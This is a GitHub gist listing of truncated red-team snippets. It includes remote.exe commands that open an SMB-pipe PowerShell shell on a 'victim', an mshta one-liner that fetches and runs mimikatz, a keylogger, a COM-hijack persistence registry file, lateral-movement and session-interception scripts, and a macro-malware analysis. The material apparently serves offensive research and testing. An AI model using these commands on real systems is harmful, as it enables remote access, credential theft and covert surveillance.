unbaiat’s gists

unbaiat / all.txt

Created March 25, 2018 06:52 — forked from jhaddix/all.txt

all wordlists for every dns enumeration tool... ever.

unbaiat / Inject.cs

Created March 21, 2018 05:12

DotNetToJScript Build Walkthrough

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Text;

	public class TestClass
	{

	public TestClass()
	{}

unbaiat / gist:76ecf73812c291d2f63414a124ec0ec9

Created March 18, 2018 11:59 — forked from mattifestation/gist:8ef36782ceb7f73d74cfb00c2a710301

remote.exe - a useful, MS signed SMB shell

	# Command to run on the victim
	# This will establish a PowerShell listener over the "pwnme" named pipe
	remote /S "powershell.exe" pwnme

	# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
	runas /netonly /user:[Domain\|Hostname\Username] "cmd"
	remote /C [Hostname\IP] "pwnme"

unbaiat / PowerShellDSCLateralMovement.ps1

Created March 18, 2018 11:56 — forked from mattifestation/PowerShellDSCLateralMovement.ps1

	# This idea originated from this blog post on Invoke DSC Resources directly:
	# https://blogs.msdn.microsoft.com/powershell/2015/02/27/invoking-powershell-dsc-resources-directly/

	<#
	$MOFContents = @'
	instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
	{
	ResourceID = "[Script]ScriptExample";
	GetScript = "\"$(Get-Date): I am being GET\" \| Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
	TestScript = "\"$(Get-Date): I am being TESTED\" \| Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";

unbaiat / PowerShellHostFinder.ps1

Created March 18, 2018 11:55 — forked from mattifestation/PowerShellHostFinder.ps1

	# Author: Matt Graeber, SpecterOps
	ls C:\* -Recurse -Include '.exe', '.dll' -ErrorAction SilentlyContinue \| % {
	try {
	$Assembly = [Reflection.Assembly]::ReflectionOnlyLoadFrom($_.FullName)

	if ($Assembly.GetReferencedAssemblies().Name -contains 'System.Management.Automation') {
	$_.FullName
	}
	} catch {}
	}

unbaiat / mimikatz.sct

Created March 17, 2018 04:04

Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"

unbaiat / InstallUtilMouseKeyLogger.cs

Created February 27, 2018 04:38

Input Capture - InstallUtil Hosted MouseClick / KeyLogger -

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Windows.Forms;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;
	//KeyStroke Mouse Clicks Code
	/*
	* https://code.google.com/p/klog-sharp/
	*/

unbaiat / winlogon.reg

Created February 18, 2018 14:14 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

unbaiat / Macro-Doc-Scriptlet-Ps1 threat

Created February 17, 2018 14:42 — forked from JohnLaTwC/Macro-Doc-Scriptlet-Ps1 threat

	## uploaded by @JohnLaTwC
	## Sample hash: 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531
	olevba 0.52dev7 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OLE:MASI---- 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531
	===============================================================================
	FILE: 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531
	Type: OLE
	-------------------------------------------------------------------------------

unbaiat / InterceptorThing.ps1

Created January 24, 2018 16:11

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

unbaiat unbaiat